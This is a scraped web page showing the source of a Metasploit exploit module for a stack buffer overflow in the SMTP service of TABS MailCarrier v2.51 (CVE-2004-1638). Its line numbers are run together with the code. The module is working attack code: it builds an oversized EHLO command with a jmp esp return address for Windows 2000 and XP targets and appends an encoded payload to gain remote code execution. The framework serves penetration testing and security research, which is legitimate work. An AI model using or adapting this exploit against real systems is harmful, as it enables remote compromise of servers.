Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',13'Description' => %q{14This module exploits the MailCarrier v2.51 suite SMTP service.15The stack is overwritten when sending an overly long EHLO command.16},17'Author' => [ 'aushack' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2004-1638' ],22[ 'OSVDB', '11174' ],23[ 'BID', '11535' ],24[ 'EDB', '598' ],25],26'Platform' => ['win'],27'Arch' => [ ARCH_X86 ],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35#'Space' => 300,36'BadChars' => "\x00\x0a\x0d:",37'StackAdjustment' => -3500,38},39'Targets' =>40[41# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.42[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp143[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en44],45'DisclosureDate' => '2004-10-26',46'DefaultTarget' => 0))4748register_options(49[50Opt::RPORT(25),51Opt::LHOST(), # Required for stack offset52])53end5455def check56connect57banner = sock.get_once || ''58disconnect5960if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/61return Exploit::CheckCode::Detected62end63return Exploit::CheckCode::Safe64end6566def exploit67connect6869sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)70sploit << [target['Ret']].pack('V') + payload.encoded7172sock.put(sploit + "\r\n")7374handler75disconnect76end77end787980